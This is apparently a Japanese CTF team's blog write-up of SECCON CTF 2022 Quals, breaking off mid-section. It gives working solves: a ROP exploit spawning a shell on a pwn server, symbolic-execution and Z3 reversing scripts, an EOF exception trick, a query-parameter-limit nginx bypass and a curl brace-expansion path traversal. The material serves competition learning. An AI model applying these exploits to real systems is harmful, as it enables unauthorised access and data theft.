こんにちは。CTF部部長のzeosuttです。
弊社のCTFチームspookiesは、2022/11/12-13に開催されたSECCON CTF 2022 Qualsに参加しました。
結果は51位で、決勝進出はなりませんでした。
以下、各メンバーの参加記まとめです。
zeosutt
[pwn] koncha
ソースとバイナリ、およびlibcが与えられる。
ソースおよびchecksecの結果は以下の通り。
#include <stdio.h> #include <unistd.h> int main() { char name[0x30], country[0x20]; /* Ask name (accept whitespace) */ puts("Hello! What is your name?"); scanf("%[^\n]s", name); printf("Nice to meet you, %s!\n", name); /* Ask country */ puts("Which country do you live in?"); scanf("%s", country); printf("Wow, %s is such a nice country!\n", country); /* Painful goodbye */ puts("It was nice meeting you. Goodbye!"); return 0; } __attribute__((constructor)) void setup(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); alarm(180); }
RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
自明なSBOF脆弱性があるのに加え、SSP無効。
1回目の入出力でlibcのアドレスをリークし、2回目の入力でROPチェーンを組めば良さそう。
スタック上には、少なくとも main()
からのリターンアドレスとして __libc_start_main()
のアドレスが乗っている。それをリークできると嬉しい。
しかし、 [
変換指定子による代入結果はヌル終端されるため、残念ながら __libc_start_main()
のアドレスをリークすることはできない。
ヌル終端のせいで、libcのアドレスをリークするためには以下の条件を満たす必要がある。
scanf()
を呼び出すタイミングで、name
の位置にlibcのアドレスが入っている"%[^\n]"
による代入を回避できる入力がある
まず1。
GDBで確認してみる。
(gdb) disas main Dump of assembler code for function main: 0x00000000000011c9 <+0>: endbr64 0x00000000000011cd <+4>: push %rbp 0x00000000000011ce <+5>: mov %rsp,%rbp 0x00000000000011d1 <+8>: sub $0x50,%rsp 0x00000000000011d5 <+12>: lea 0xe2c(%rip),%rdi # 0x2008 0x00000000000011dc <+19>: callq 0x1090 <puts@plt> 0x00000000000011e1 <+24>: lea -0x30(%rbp),%rax 0x00000000000011e5 <+28>: mov %rax,%rsi 0x00000000000011e8 <+31>: lea 0xe33(%rip),%rdi # 0x2022 0x00000000000011ef <+38>: mov $0x0,%eax 0x00000000000011f4 <+43>: callq 0x10d0 <__isoc99_scanf@plt> ... 0x000000000000125f <+150>: retq End of assembler dump. (gdb) b *main+43 Breakpoint 1 at 0x11f4 (gdb) r Starting program: /media/sf_GoogleDrive/CTF/SECCON/pwn/koncha/bin/chall Hello! What is your name? Breakpoint 1, 0x00005555555551f4 in main () (gdb) x/xg $rbp-0x30 0x7fffffffdc80: 0x00007ffff7faf2e8 (gdb) x/xg {void *}($rbp-0x30) 0x7ffff7faf2e8 <__exit_funcs_lock>: 0x0000000000000000
ちゃんと、 __exit_funcs_lock
という、それっぽいもののアドレスが入っている。
次に2。
21maさんから「改行だけを入力したら行けるのでは」と助言を頂いたので、試してみる。
$ cat hoge.c #include <stdio.h> int main(void) { char s[10]; printf("%d\n", scanf("%[^\n]", s)); return 0; } $ gcc -o hoge hoge.c $ ./hoge hoge 1 $ ./hoge 0
おー。
[
は他の多くの変換指定子と異なり、先頭の空白類文字の読み飛ばしが行われない。
そのため、 "%[^\n]"
は改行のみを入力することで突破できるわけだ。
もし " %[^\n]"
だと詰んでいただろう。
あとはやるだけ。
from pwn import * context.arch = 'amd64' target = ELF('bin/chall') libc = ELF('lib/libc.so.6') POP_RDI = next(libc.search(asm('pop rdi; ret'), executable=True)) RET = next(libc.search(asm('ret'), executable=True)) BIN_SH = next(libc.search(b'/bin/sh')) # r = target.process() r = remote('koncha.seccon.games', 9001) r.sendlineafter(b'Hello! What is your name?\n', b'') LIBC_BASE = u64(r.recvline().split()[-1][:-1].ljust(8, b'\x00')) - (0x7ffff7faf2e8 - 0x7ffff7dbe000) print(hex(LIBC_BASE)) payload = b'' payload += b'A' * 0x58 payload += p64(LIBC_BASE + POP_RDI) payload += p64(LIBC_BASE + BIN_SH) payload += p64(LIBC_BASE + RET) payload += p64(LIBC_BASE + libc.symbols['system']) r.sendlineafter(b'Which country do you live in?\n', payload) r.interactive()
SECCON{I_should_have_checked_the_return_value_of_scanf}
去年のAverage Calculatorがしっかり scanf()
の返り値をチェックしていたことが思い出される。
ところで、なぜ "%[^\n]"
ではなく "%[^\n]s"
だったんだろう。
[rev] babycmp
バイナリが与えられる。
Ghidraで main()
をデコンパイルした結果は以下の通り。
undefined8 main(int param_1,undefined8 *param_2) { ... if (param_1 < 2) { uVar4 = 1; __printf_chk(1,"Usage: %s FLAG\n",*param_2); } else { __s = (ulong *)param_2[1]; cpuid_basic_info(0); local_28 = 0x380a41; local_58 = 0x3032204e; local_48 = 0x202f2004; uStack68 = 0x591e2320; uStack64 = 0x357f1a44; uStack60 = 0x2b2d3675; local_54 = 0x3232; local_38 = 0x35a1711; uStack52 = 0x736506d; uStack48 = 0x1093c15; uStack44 = 0x362b4704; local_52 = 0; local_68 = 0x636c6557; uStack100 = 0x20656d6f; uStack96 = 0x53206f74; uStack92 = 0x4f434345; sVar1 = strlen((char *)__s); if (sVar1 != 0) { *(byte *)__s = *(byte *)__s ^ 0x57; uVar2 = 1; if (sVar1 != 1) { do { sVar3 = uVar2 + 1; *(byte *)(param_2[1] + uVar2) = *(byte *)(param_2[1] + uVar2) ^ *(byte *)((long)&local_68 + uVar2 + ((SUB168(ZEXT816(uVar2) * ZEXT816(0x2e8ba2e8ba2e8ba3) >> 0x40,0) & 0xfffffffffffffffc) * 2 + (uVar2 / 0x16) * 3) * -2); uVar2 = sVar3; } while (sVar1 != sVar3); } __s = (ulong *)param_2[1]; } if ((((__s[1] ^ CONCAT44(uStack60,uStack64) | *__s ^ CONCAT44(uStack68,local_48)) == 0) && ((__s[3] ^ CONCAT44(uStack44,uStack48) | __s[2] ^ CONCAT44(uStack52,local_38)) == 0)) && (*(int *)(__s + 4) == local_28)) { uVar4 = 0; puts("Correct!"); } else { uVar4 = 0; puts("Wrong..."); } } ... }
「何も考えずにangrしてくれ」というメッセージが読み取れる。
SECCONでそんな問題出る? と疑いつつ、指示通り何も考えずにangr。
import angr import claripy proj = angr.Project('chall.baby') flag = claripy.BVS('flag', 8 * 0x30) state = proj.factory.entry_state(args=['./chall.baby', flag]) simgr = proj.factory.simgr(state) simgr.explore(find=0x4012c2) print(simgr.found[0].solver.eval(flag, cast_to=bytes))
SECCON{y0u_f0und_7h3_baby_flag_YaY}
warmupとはいえ到底SECCONらしくない問題だが、次の eldercmp があるからOKという判断だったのだろう。
[rev] eldercmp
バイナリが与えられる。
1バイトを除いて babycmp のバイナリと同じ。
問題文の通り、 baby_mode
が 1
から 0
に変更されている。
baby_mode
の利用箇所を探すと __detect_debugger()
が見つかる。
__detect_debugger()
は起動時に呼ばれている。
Ghidraで __detect_debugger()
をデコンパイルした結果はだいたい以下の通り。
void __detect_debugger(undefined8 param_1,code *param_2) { ... sigaction local_a8; ... if (baby_mode == '\0') { local_a8.sa_flags = 4; sigemptyset(&local_a8.sa_mask); local_a8.__sigaction_handler = trampoline; sigaction(SIGSEGV,&local_a8,(sigaction *)0x0); arch_prctl(ARCH_SET_CPUID, 0); arch_prctl(ARCH_SET_GS, heart); } ... }
これは以下のことを行っている。
- SIGSEGVシグナルの受信時に
trampoline()
を実行するように設定 - CPUID命令を無効化(実行するとSIGSEGVシグナルを生成)
- GSレジスタに
heart()
のアドレスを設定
Ghidraで trampoline()
をデコンパイルした結果はだいたい以下の通り。
void trampoline(undefined8 param_1,undefined8 param_2,long param_3) { ... pcVar2 = *(char **)(param_3 + 0xa8); if (*pcVar2 == -0xc) { *(char **)(param_3 + 0xa8) = pcVar2 + 1; return; } if (*pcVar2 == '\x0f') { *(ulong *)(param_3 + 0xa0) = *(ulong *)(param_3 + 0xa0) & 0xfffffffffffffff0; arch_prctl(ARCH_GET_GS, param_3 + 0xa8); if (pcVar2[1] == -0x5e) { ... return; } if (pcVar2[1] == '\x06') { return; } } /* WARNING: Subroutine does not return */ exit(1); }
シグナルハンドラであることを踏まえると、これは以下のことを行っている(多分)。
- シグナルが生成された命令がHLTならば、次の命令に実行を移す
- シグナルが生成された命令がCPUIDまたはCLTSならば、 GSレジスタに設定されているアドレスに実行を移す
- 上記以外であれば、
exit(1)
GDBで動作を確認してみる。
(gdb) start Temporary breakpoint 1 at 0x1180 Starting program: /media/sf_GoogleDrive/CTF/SECCON/rev/eldercmp/chall.elder Temporary breakpoint 1, 0x0000555555555180 in main () (gdb) set {short}$rip=0xf4f4 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x0000555555555180 in main () (gdb) Continuing. Program received signal SIGSEGV, Segmentation fault. 0x0000555555555181 in main () (gdb) b heart Breakpoint 2 at 0x5555555554a0 (gdb) start The program being debugged has been started already. Start it from the beginning? (y or n) y Temporary breakpoint 3 at 0x555555555180 Starting program: /media/sf_GoogleDrive/CTF/SECCON/rev/eldercmp/chall.elder Temporary breakpoint 3, 0x0000555555555180 in main () (gdb) set {short}$rip=0x060f (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x0000555555555180 in main () (gdb) Continuing. Breakpoint 2, 0x00005555555554a0 in heart () (gdb) start The program being debugged has been started already. Start it from the beginning? (y or n) y Temporary breakpoint 4 at 0x555555555180 Starting program: /media/sf_GoogleDrive/CTF/SECCON/rev/eldercmp/chall.elder Temporary breakpoint 4, 0x0000555555555180 in main () (gdb) set {short}$rip=0x0000 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x0000555555555180 in main () (gdb) Continuing. [Inferior 1 (process 619706) exited with code 01]
合ってそう。
次に heart()
を確認すると、以下のような構造となっている。
- ところどころにHLT命令を含む処理を実行
- GSレジスタになんかアドレスを設定
- CLTS命令を実行(
trampoline()
を介して、2で設定したアドレスにジャンプ) - 1から3を繰り返す(最終的には、1に含まれるRET命令でリターン)
全体としては、ブロック暗号による暗号化を行っている。
処理は複雑で、真面目に解析するのは大変そう。
そこで、angrを使って、ブロックごとに答えから1ステップずつ地道に逆算していくことを選択。
heart()
を解析しやすいように加工したものと、それを呼ぶ以下のコードを用意。
#include <stdlib.h> #include <string.h> void heart(void *data); int main(int argc, char **argv) { void **data = malloc(0x200); data[0] = argv[1]; *(size_t *)&data[1] = (strlen(argv[1]) + 7) / 8 * 8; heart(data); return 0; }
それらをコンパイルして生成したバイナリをangrで解析。
import angr import claripy def prepare(i): state.regs.rbx = 0xffffffff0000ffff state.regs.rdi = 0xffffffffffffff state.regs.rbp = 0x4052a0 state.regs.r8 = 0xffff00ffffffffff state.regs.r9 = 0xffffffff00ffffff state.regs.r10 = 0xff00ffffffffffff state.regs.r11 = 0xffffff00ffffffff state.regs.r12 = 0x405436 state.regs.r13 = 0x7fffffffe000 + i * 8 state.mem[0x4052a0].long = 0x00007fffffffe000 state.mem[0x4052a8].long = 0x0000000000000038 state.mem[0x4052b0].long = i * 8 state.mem[0x4052b8].long = 0x2f2f2f666f6e7356 state.mem[0x4052c0].long = 0x75626473736e4200 state.mem[0x4052c8].long = 0x0b020a0f000c0020 state.mem[0x4052d0].long = 0x0e01070d03080509 state.mem[0x4052d8].long = 0x8119191445110406 state.mem[0x4052e0].long = 0x1028516494883109 state.mem[0x4052e8].long = 0x0000000000001593 state.mem[0x4052f0].long = 0x0000000000000000 state.mem[0x4052f8].long = 0x2010080402010000 state.mem[0x405300].long = 0x0a052330180c0603 state.mem[0x405308].long = 0x3b3c1e0f26132814 state.mem[0x405310].long = 0x381c0e0722112935 state.mem[0x405318].long = 0x09050b2412092533 state.mem[0x405320].long = 0x0101040500010809 state.mem[0x405328].long = 0x0f09010808040405 state.mem[0x405330].long = 0x0108080306010801 state.mem[0x405338].long = 0x030f030502030301 state.mem[0x405340].long = 0x030b0904090c0405 state.mem[0x405348].long = 0x0606050101070108 state.mem[0x405350].long = 0x080601030f0a0803 state.mem[0x405358].long = 0x0909010f01010305 state.mem[0x405360].long = 0x000b050103060904 state.mem[0x405368].long = 0x0105080e03090501 state.mem[0x405370].long = 0x0e08030106020103 state.mem[0x405378].long = 0x030b0506080b010f state.mem[0x405380].long = 0x0000040a09050501 state.mem[0x405388].long = 0x080a0107000c080e state.mem[0x405390].long = 0x0408030901080301 state.mem[0x405398].long = 0x020f0f010e070506 state.mem[0x4053a0].long = 0x050a010c0306040a state.mem[0x4053a8].long = 0x090d0e0b00060107 state.mem[0x4053b0].long = 0x0406010108030309 state.mem[0x4053b8].long = 0x0501060104070f01 state.mem[0x4053c0].long = 0x040f0a000205010c state.mem[0x4053c8].long = 0x0d030707050d0e0b state.mem[0x4053d0].long = 0x06070904090e0101 state.mem[0x4053d8].long = 0x0d000100040a0601 state.mem[0x4053e0].long = 0x0d0e0c0c05010a00 state.mem[0x4053e8].long = 0x0f0b0b0f04010707 state.mem[0x4053f0].long = 0x050a01080d010904 state.mem[0x4053f8].long = 0x0e0c010606000100 state.mem[0x405400].long = 0x030a00070d0c0c0c state.mem[0x405408].long = 0x020307050d0c0b0f state.mem[0x405410].long = 0x020204000f010108 state.mem[0x405418].long = 0x0d06000f05060106 state.mem[0x405420].long = 0x080b0c090e070007 state.mem[0x405428].long = 0x08050f0003020705 state.mem[0x405430].long = 0x0603080402060400 state.mem[0x405438].long = 0x00000d0a000f020d proj = angr.Project('call_heart') flag = b'' for i in range(0x38 // 8): state = proj.factory.blank_state() state.regs.rip = 0x401853 state.regs.rcx = claripy.BVS('rcx', 64) state.solver.add(state.regs.rcx & 0xf0f0f0f0f0f0f0f0 == 0) state.regs.rdx = claripy.BVS('rdx', 64) state.solver.add(state.regs.rdx & 0xf0f0f0f0f0f0f0f0 == 0) prepare(i) simgr = proj.factory.simgr(state) simgr.explore(find=0x401aa6) rcx = simgr.found[0].solver.eval(state.regs.rcx) rdx = simgr.found[0].solver.eval(state.regs.rdx) for j in range((0x405436 - 0x40531e) // 8): state = proj.factory.blank_state() state.regs.rip = 0x401667 state.regs.rcx = claripy.BVS('rcx', 64) state.solver.add(state.regs.rcx & 0xf0f0f0f0f0f0f0f0 == 0) state.regs.rdx = claripy.BVS('rdx', 64) state.solver.add(state.regs.rdx & 0xf0f0f0f0f0f0f0f0 == 0) state.regs.rsi = 0x40542e - j * 8 prepare(i) simgr = proj.factory.simgr(state) simgr.explore(find=0x401846) simgr.found[0].solver.add(simgr.found[0].regs.rcx == rcx) simgr.found[0].solver.add(simgr.found[0].regs.rdx == rdx) rcx = simgr.found[0].solver.eval(state.regs.rcx) rdx = simgr.found[0].solver.eval(state.regs.rdx) state = proj.factory.blank_state() state.regs.rip = 0x401504 state.memory.store(0x7fffffffe000 + i * 8, claripy.BVS(f'flag{i}', 8 * 8)) prepare(i) simgr = proj.factory.simgr(state) simgr.explore(find=0x40164e) simgr.found[0].solver.add(simgr.found[0].regs.rcx == rcx) simgr.found[0].solver.add(simgr.found[0].regs.rdx == rdx) flag += simgr.found[0].solver.eval(state.memory.load(0x7fffffffe000 + i * 8, 8), cast_to=bytes) print(flag)
SECCON{TWINE_wr1tt3n_1n_3xc3pt10n_0r13nt3d_pr0gr4mm1ng}
どうやらTWINEという暗号だったらしい。
Exception Oriented Programmingというのも初めて聞いた。面白い。
そしてやはりangrは強い。
[rev] eguite
バイナリが与えられる。
ライセンスをチェックするGUIアプリケーション。
CHECKボタンを押すと onclick()
が呼ばれる。
Ghidraで onclick()
をデコンパイルした結果は以下の通り。
bool eguite::Crackme::onclick(long param_1) { ... if (*(long *)(param_1 + 0x90) != 0x2b) { return false; } puVar11 = *(uint **)(param_1 + 0x80); if ((*(uint *)((long)puVar11 + 3) ^ 0x7b4e4f43 | *puVar11 ^ 0x43434553) != 0) { return false; } if (*(byte *)((long)puVar11 + 0x2a) != 0x7d) { return false; } puVar1 = (uint *)((long)puVar11 + 0x2b); lVar5 = 0x13; puVar4 = puVar11; do { ... puVar4 = (uint *)((long)puVar4 + 1); ... lVar5 = lVar5 + -1; } while (lVar5 != 0); ... bVar2 = *(byte *)puVar4; uVar9 = (uint)bVar2; ... if (uVar9 != 0x2d) { return false; } lVar5 = 0x1a; puVar4 = puVar11; do { ... puVar4 = (uint *)((long)puVar4 + 1); ... lVar5 = lVar5 + -1; } while (lVar5 != 0); ... bVar2 = *(byte *)puVar4; uVar9 = (uint)bVar2; ... if (uVar9 != 0x2d) { return false; } lVar5 = 0x21; puVar4 = puVar11; do { ... puVar4 = (uint *)((long)puVar4 + 1); ... lVar5 = lVar5 + -1; } while (lVar5 != 0); ... bVar2 = *(byte *)puVar4; ... if (uVar9 != 0x2d) { return false; } local_58 = 7; uStack84 = 0; uStack80 = 0xc; uStack76 = 0; local_68 = puVar11; local_60 = puVar1; <alloc::string::String_as_core::iter::traits::collect::FromIterator<char>>::from_iter (&local_48,&local_68); ... core::num::<impl_u64>::from_str_radix(&local_68,local_48,local_38,0x10); puVar4 = local_60; ... local_58 = 0x14; uStack84 = 0; uStack80 = 6; uStack76 = 0; local_68 = puVar11; local_60 = puVar1; <alloc::string::String_as_core::iter::traits::collect::FromIterator<char>>::from_iter (&local_48,&local_68); ... core::num::<impl_u64>::from_str_radix(&local_68,local_48,local_38,0x10); puVar10 = local_60; ... local_58 = 0x1b; uStack84 = 0; uStack80 = 6; uStack76 = 0; local_68 = puVar11; local_60 = puVar1; <alloc::string::String_as_core::iter::traits::collect::FromIterator<char>>::from_iter (&local_48,&local_68); ... core::num::<impl_u64>::from_str_radix(&local_68,local_48,local_38,0x10); puVar8 = local_60; ... local_58 = 0x22; uStack84 = 0; uStack80 = 8; uStack76 = 0; local_68 = puVar11; local_60 = puVar1; <alloc::string::String_as_core::iter::traits::collect::FromIterator<char>>::from_iter (&local_48,&local_68); core::num::<impl_u64>::from_str_radix(&local_68,local_48,local_38,0x10); puVar11 = local_60; ... if ((byte *)((long)puVar4 + (long)puVar10) != (byte *)0x8b228bf35f6a) { return false; } if ((byte *)((long)puVar8 + (long)puVar10) != (byte *)0xe78241) { return false; } if ((byte *)((long)puVar11 + (long)puVar8) == (byte *)0xfa4c1a9f) { if ((byte *)((long)puVar4 + (long)puVar11) == (byte *)0x8b238557f7c8) { return ((ulong)puVar8 ^ (ulong)puVar10 ^ (ulong)puVar11) == 0xf9686f4d; } return false; } return false; ... }
前半は、ライセンスのフォーマットをチェックしている。
フォーマットは SECCON{XXXXXXXXXXXX-XXXXXX-XXXXXX-XXXXXXXX}
。
ライセンスがそのままフラグっぽい。
後半は、各XXXXを16進数と見なした際に特定の等式を満たすことをチェックしている。
これはZ3で解けそう。
なお、問題文より、各XXXXに含まれるアルファベットは小文字であることが分かっている。
from z3 import * xs = [BitVec(f'x{i}', 8 * 8) for i in range(4)] s = Solver() s.add(xs[0] + xs[1] == 0x8b228bf35f6a) s.add(xs[2] + xs[1] == 0xe78241) s.add(xs[3] + xs[2] == 0xfa4c1a9f) s.add(xs[0] + xs[3] == 0x8b238557f7c8) s.add(xs[1] ^ xs[2] ^ xs[3] == 0xf9686f4d) s.check() m = s.model() flag = '' flag += 'SECCON{' flag += f'{m[xs[0]].as_long():012x}' flag += '-' flag += f'{m[xs[1]].as_long():06x}' flag += '-' flag += f'{m[xs[2]].as_long():06x}' flag += '-' flag += f'{m[xs[3]].as_long():08x}' flag += '}' print(flag)
SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370}
[rev] DoroboH(解けず)
バイナリとメモリダンプとパケットキャプチャ、およびそれらの関係を説明した文書が与えられる。
与えられたバイナリ araiguma.exe
は、攻撃者のマシン上で動作する kitsune.exe
と通信するらしい。
処理は以下の通り。
- DH鍵共有
- 1の鍵を使ってRC4で暗号化されたコマンドが送られてくる
- 2のコマンドを復号して実行
の を生成していそうな処理の前後のメモリを比較し、 の場所(ASLRの影響でアドレスは毎回変わるので、目印からのオフセット)を探る。
それっぽい箇所が見つかったので、メモリダンプ中の対応する箇所の値で上書き。
すると、 kitsune.exe
に送信する値がパケットキャプチャのものと一致。
そこで、以下のスクリプトで kitsune.exe
を再現し、暗号化されたコマンドを araiguma.exe
に復号させてみる。
from pwn import * import socket def send(data): c.send(p32(len(data))) c.send(data) PORT = 8080 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('', PORT)) s.listen() c, _ = s.accept() victim_key_size = u32(c.recv(4)) print(c.recv(victim_key_size)) attacker_key = bytes.fromhex('0602000002aa00000044483100020000288f76749ec20b9ab18c618418ae9a70722618dc685e667fc0c19b906a6aa3a571f473ea0eaada269f29860d55ddcba0367ee6f7a1fac83d2d7395482930b3b8') send(attacker_key) payload = bytes.fromhex('8c28c20d027aa8bc9a71b107022421e907340de0f9a4c540611f2d95b560f8435fdb44ecb38876ddab1fe3ffcaf26aeb65b7f7f4d1d0bc6ceec521c77c27cd0ffba4a9d007228c478288b906b64d832be9822e123ec4a5abbc155a24b63a8c657c05ff6148124f') send(payload) payload = bytes.fromhex('8c28c20d027aa8bc9a6bd436240c1df73e2714bfabaefb7d340635df9174e24719dd3bcce89572ddad49ac8c93f122aa61ada3f3cb8aa1288bab33957169fd04c482a797556ff067ccb2b031b64c9b03e586142015d5bfa6a1194b0cb939832c2609f3184f18') send(payload) c.close()
しかし、残念ながらフラグは得られず、毎回異なる復号結果となる。
先ほど見つけたのは、 ではなく か、あるいはさらにそれに手を加えた値の位置だったのかもしれない。
もっとちゃんとメモリの比較を行っていれば解けたのだろうか。
感想
悔しいです。
活動を開始した2018年は43位、そこから3年連続49位、そして今年は51位。
過去最低順位を更新しました。惨敗です。
今年はこれまでで一番精力的に活動した年でした。
CTFtimeを見ても、去年までと比べて圧倒的に多くのイベントに参加しています。
イベント不参加の週も、復習等の活動をしていたことが多いです。
それにもかかわらずこの結果。不甲斐ないばかりです。
いや、皆さん強すぎません...?
また一年精進して、来年こそは過去最高順位で予選を突破します。
よろしくお願いします。
21ma
今年はmiscにチャレンジしました。
結果的には、去年と同じく warmup 1問しか解けませんでした。
[misc] find flag
概要
# nc find-flag.seccon.games 10042 filename:
ncでサーバに接続したら filename の入力を求められる。
ソースが提供されている。
#!/usr/bin/env python3.9 import os FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode() def check(): try: filename = input("filename: ") if open(filename, "rb").read(len(FLAG)) == FLAG: return True except FileNotFoundError: print("[-] missing") except IsADirectoryError: print("[-] seems wrong") except PermissionError: print("[-] not mine") except OSError: print("[-] hurting my eyes") except KeyboardInterrupt: print("[-] gone") return False if __name__ == '__main__': try: check = check() except: print("[-] something went wrong") exit(1) finally: if check: print("[+] congrats!") print(FLAG.decode())
最初は環境変数をどうにかして取得しようと藻掻いたが、取れず・・。
アプローチ
コードを見ると、
- check関数内でいくつかの例外をキャッチしてそれに応じたメッセージを出している
- check関数の結果(boolean)を変数checkで受けて、それを条件にFLAGを出力している
- check関数内でも例外キャッチしているが、補足しきれなかった例外をmain関数で実行している
配布されているdockerでローカルに環境を作り、コードをコネコネしていたら、意図せず例外が発生してFLAGが取れてしまった。
(ファイルではなく、文字列に対してcloseしようとして、AttributeError発生)
つまりは、上記3のcheck関数内で補足していない例外を発生させれば、FLAGが取得できる。
例外処理の例外
pythonのドキュメントを見ると、
input()で以下の記述がある。
引数 prompt が存在すれば、それが末尾の改行を除いて標準出力に書き出されます。次に、この関数は入力から 1 行を読み込み、文字列に変換して (末尾の改行を除いて) 返します。 EOF が読み込まれたとき、 EOFError が送出されます。
check関数内で EOFErrorの補足指定がないので、3の状態に持っていける。
MACなので、filenameの入力受付状態で Ctrl+D
を入力してEOFを打ち込むことで、フラグが取れた。
exitの挙動
exit(1)
で即時終了するのかと思ったが、finallyの処理は実行されるみたい。
違いを調べてみると、以下のようである。
exit()
: SystemExit 例外を投げる。プロセスを終了するわけではない。(主にインタラクティブシェル用)sys.exit()
: SystemExit 例外を投げる。プロセスを終了するわけではない。(主にスクリプト用)os._exit()
: プロセスを終了
つまりは、 exit()
や sys.exit()
は、 SystemExitをcatchするような処理を書くと処理を継続することもできるみたい。
try: exit(1) except: print("exitは例外キャッチして、処理継続できるYO") print("次の処理へ")
そして、プロセスを終了させてるわけではないので、 行儀よく finally の処理まで実行してくれた。
まとめ
- 入力として
EOF
相当を送りつけ、EOFError例外を発生させる - 結果を受けとる
変数としてのcheck
は定義されなくなる - exit(1) は、その後の finally を処理してくれる
- FLAG出力条件の check は
check関数の結果としてのcheck変数
ではなくcheck関数
を指すことになるので 条件が truthy となる - フラグGET
from pwn import * r = remote("find-flag.seccon.games", 10042) r.sendline(b'\x00') r.interactive()
# python3 solve.py [+] Opening connection to find-flag.seccon.games on port 10042: Done [*] Switching to interactive mode filename: [-] something went wrong [+] congrats! SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll} [*] Got EOF while reading in interactive
ありがとうございました。
hiraoka
[web] skipinx
nginx とアプリサーバーが別インスタンスで稼働しており、外部公開しているのはもちろん nginx な構成の問題。フラグはアプリサーバーの環境変数にあります。
const app = require("express")(); const FLAG = process.env.FLAG ?? "SECCON{dummy}"; const PORT = 3000; app.get("/", (req, res) => { req.query.proxy.includes("nginx") ? res.status(400).send("Access here directly, not via nginx :(") : res.send(`Congratz! You got a flag: ${FLAG}`); }); app.listen({ port: PORT, host: "0.0.0.0" }, () => { console.log(`Server listening at ${PORT}`); });
アプリ側のソースとしてはこれだけで非常にシンプルです。フラグをとるためにはクエリパラメーターproxy
が"nginx"
を含まなければいいだけですね。しかし、この問題ではリバースプロキシの nginx で以下の設定ファイルが存在します。
server {
listen 8080 default_server;
server_name nginx;
location / {
set $args "${args}&proxy=nginx";
proxy_pass http://web:3000;
}
}
set $args "${args}&proxy=nginx";
によって強制的にクエリパラメータproxy
にnginx
が付加されてしまいます。これでは必ずreq.query.proxy.includes("nginx")
の判定がtrue
になってしまいそうです。なんとかしてこの判定をfalse
にするためにどうしたらいよいでしょうか?
ここで、express
におけるクエリパラメータのパース処理を考えます。express
はqs
というパッケージに依存しており、ミドルウェアの中でqs.parse
を使用しています。
ということでqs.parse
の処理を見に行きます。
パースの処理をつらつらと読んでいこうと思いましたが、このファイルの先頭付近にかなり気になるものがありました。
var defaults = { allowDots: false, allowPrototypes: false, allowSparse: false, arrayLimit: 20, charset: "utf-8", charsetSentinel: false, comma: false, decoder: utils.decode, delimiter: "&", depth: 5, ignoreQueryPrefix: false, interpretNumericEntities: false, parameterLimit: 1000, parseArrays: true, plainObjects: false, strictNullHandling: false, };
これはパースのデフォルトオプションですが、parameterLimit: 1000
に注目。デフォルトでは最大 1000 個までのクエリパラメータしかパースできないのではと推測しました。実際に中の処理を見てみると...
var parseValues = function parseQueryStringValues(str, options) { var obj = {}; var cleanStr = options.ignoreQueryPrefix ? str.replace(/^\?/, '') : str; var limit = options.parameterLimit === Infinity ? undefined : options.parameterLimit; var parts = cleanStr.split(options.delimiter, limit); // 以下省略...
実際クエリパラメータの分割にparameterLimit
を使用していることがわかりました。
となればクエリパラメータを 1000 個以上送りつけてしまえば、nginx で&proxy=nginx
を付加されてもそれは無視されるはずです。以下のような URL を生成してブラウザでアクセスしてみたところ、無事フラグが取得できました!
なお、なにかしらproxy
もパラメータとして含めてあげないとreq.query.proxy
がundefined
になってしまって例外発生するので注意です。
[web] easylfi
flask 製のアプリサーバのみの構成です。スクリプトはapp.py
のみ。
from flask import Flask, request, Response import subprocess import os app = Flask(__name__) def validate(key: str) -> bool: # E.g. key == "{name}" -> True # key == "name" -> False if len(key) == 0: return False is_valid = True for i, c in enumerate(key): if i == 0: is_valid &= c == "{" elif i == len(key) - 1: is_valid &= c == "}" else: is_valid &= c != "{" and c != "}" return is_valid def template(text: str, params: dict[str, str]) -> str: # A very simple template engine for key, value in params.items(): if not validate(key): return f"Invalid key: {key}" text = text.replace(key, value) return text @app.after_request def waf(response: Response): if b"SECCON" in b"".join(response.response): return Response("Try harder") return response @app.route("/") @app.route("/<path:filename>") def index(filename: str = "index.html"): if ".." in filename or "%" in filename: return "Do not try path traversal :(" try: proc = subprocess.run( ["curl", f"file://{os.getcwd()}/public/{filename}"], capture_output=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout" if proc.returncode != 0: return "Something wrong..." return template(proc.stdout.decode(), request.args)
こちらのアプリケーションは curl を用いてパスパラメータで指定されたファイルを読み取り、その内容をレスポンスとして返してくれるといったものです。Dockerfile によると、フラグは/flag.txt
にあることがわかります。
FROM python:3.10.8-bullseye WORKDIR /app COPY requirements.txt . RUN pip install -r requirements.txt COPY flag.txt / COPY public public COPY app.py . USER 404:404 CMD ["flask", "run", "--host=0.0.0.0", "--port=3000"]
指定されたファイルを読んでくれるアプリケーションということで、ディレクトリトラバーサルにトライしたくなります。しかし、その対策として以下のような処理があります。安直に..
やパーセントエンコーディングは使用できません。
if ".." in filename or "%" in filename: return "Do not try path traversal :("
これを突破するために、curl のドキュメントをいろいろなめていると非常に気になる機能がありました。
Url
The URL syntax is protocol-dependent. You find a detailed description in RFC 3986.
You can specify multiple URLs or parts of URLs by writing part sets within braces and quoting the > URL as in:
"http://site.{one,two,three}.com"
{one,two,three}
のように波かっこ内にコンマ区切りの文字列を与えてやると curl はこれを展開して以下3つのリクエストを投げてくれるのです。
これを利用すれば、 http://easylfi.seccon.games:3000/{.}./{.}./flag.txt
(※わかりやすさのためにパーセントエンコーディングしていません)というURLでアクセスすれば、..
バリデーションを回避することができます。
しかし、これだけではflag.txt
の内容を読み取ることはできません。以下の waf の存在によって、レスポンスにSECCON
という文字列(フラグに含まれる)があると強制的にTry harder
と返ってきてしまいます。
@app.after_request def waf(response: Response): if b"SECCON" in b"".join(response.response): return Response("Try harder") return response
ところで、app.py
にはまだ気になる処理が存在します。以下の処理です。
